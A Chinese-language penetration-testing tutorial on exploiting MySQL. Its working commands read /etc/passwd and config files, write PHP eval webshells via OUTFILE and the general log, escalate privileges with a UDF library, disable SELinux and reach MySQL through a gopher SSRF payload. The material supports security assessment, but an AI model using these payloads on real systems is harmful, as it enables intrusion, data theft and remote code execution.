Mysql利用姿势小结
字数 1690 2025-08-15 21:31:25
MySQL渗透利用技术详解
1. 文件读取技术
1.1 load_file函数
load_file()函数是MySQL中用于读取服务器端文件的函数,在渗透测试中常用于读取配置文件、源码等敏感信息。
使用条件:
secure_file_priv配置项为空("")或指定了可读目录- 系统关闭了SELinux(针对Linux系统)
- 知道目标文件绝对路径
查看secure_file_priv配置:
show variables like "%secure_file_priv%";
示例用法:
-- 读取MySQL配置文件
select load_file("/etc/my.cnf");
-- 读取Web源码
select load_file("/var/www/html/index.php");
注意事项:
- CentOS系统中如果开启SELinux,无法读取其他服务配置文件或/etc/passwd
- 关闭SELinux命令:
setenforce 0
1.2 load data infile
load data infile是另一种读取文件的MySQL语句,同样受secure_file_priv限制。
使用步骤:
- 创建或选择一个数据表用于存放文件内容
- 使用load data infile语句读取文件
示例:
-- 创建临时表
create table temp(data text);
-- 读取文件内容到表中
load data infile "/etc/passwd" into table temp;
权限要求:
- 需要file、insert和select权限
2. 文件写入技术
2.1 outfile/dumpfile
使用条件:
secure_file_priv配置项为空或指定了可写目录- MySQL对目标目录有写入权限
基本用法:
-- 写入简单文本文件
select "123" into outfile "/tmp/123.txt";
-- 写入WebShell(PHP示例)
select "<?php @eval($_GET['x']);?>" into outfile "/var/www/html/test.php";
注意事项:
- MySQL 3.23.55版本后不能覆盖已有文件,只能创建新文件
outfile和dumpfile区别:outfile写入ASCII格式dumpfile写入二进制格式(适合写入UDF等二进制文件)
2.2 UDF提权
使用条件:
- MySQL插件目录可写(通常为/usr/lib64/mysql/plugin/)
secure_file_priv允许写入插件目录- 使用正确版本的UDF文件
步骤:
- 查询MySQL版本:
select @@version;
- 获取正确的UDF文件:
- 避免使用sqlmap的UDF文件(缺少ELF头)
- 推荐使用Metasploit的UDF文件(路径:/usr/share/metasploit-framework/data/exploits/mysql/)
- 写入UDF文件:
-- 使用dumpfile写入二进制文件
select 十六进制内容 into dumpfile "/usr/lib64/mysql/plugin/udf.so";
- 创建函数:
create function sys_eval returns string soname "udf.so";
- 执行系统命令:
select sys_eval("whoami");
常见问题解决:
- 如果操作卡死,可能需要删除之前创建的函数:
drop function sys_exec;
3. General Log利用
特点:
- 不受
secure_file_priv限制 - 适合在Windows环境下使用(Linux下文件权限可能限制执行)
使用步骤:
- 查看general log状态:
show variables like "%general%";
- 设置日志输出类型为文件:
set global log_output="FILE";
- 设置输出文件路径(Windows注意转义):
set global general_log_file="C:\\phpstudy_pro\\WWW\\1.php";
- 开启general log:
set global general_log=on;
- 执行会被记录为PHP代码的操作:
select '<?php @eval($_GET["cmd"]);?>';
4. SSRF对MySQL的利用
前提条件:
- MySQL服务端必须为空密码
- 使用TCP/IP套接字连接方式
连接方式说明:
- Unix套接字:Linux/Unix本地连接方式
- 内存共享/命名管道:Windows本地连接方式
- TCP/IP套接字:任何系统通用方式
实验步骤:
- 创建测试用户:
create user 'root'@'%';
grant all privileges on *.* to 'root'@'%';
-
抓取TCP连接流量(使用Wireshark)
-
分析数据包,提取十六进制值
-
构造SSRF Payload(每个字节前加%)
-
使用curl测试:
curl "http://target/?url=gopher://127.0.0.1:3306/十六进制payload" --output -
注意事项:
- MySQL 5.7+有密码复杂度策略,难以设置空密码
- MariaDB默认使用Unix_socket,需修改为mysql_native_password:
update mysql.user set plugin='mysql_native_password' where user='root';
flush privileges;
5. 其他注意事项
-
Windows与Linux差异:
- Windows下限制较少
- Linux下受SELinux和目录权限限制更多
-
SSL加密问题:
- 默认使用SSL加密传输
- 可强制不使用SSL:
mysqld --ssl=0
-
MySQL版本兼容性:
- 不同版本可能有不同限制
- 需确保UDF文件与MySQL版本匹配
-
权限最小化原则:
- 文件读取只需要file权限
- 文件写入需要file和对应目录写权限
- UDF提权需要plugin目录写权限
通过以上技术,渗透测试人员可以评估MySQL数据库的安全性,发现潜在的安全风险。实际应用中需遵守法律法规,仅在授权范围内使用这些技术。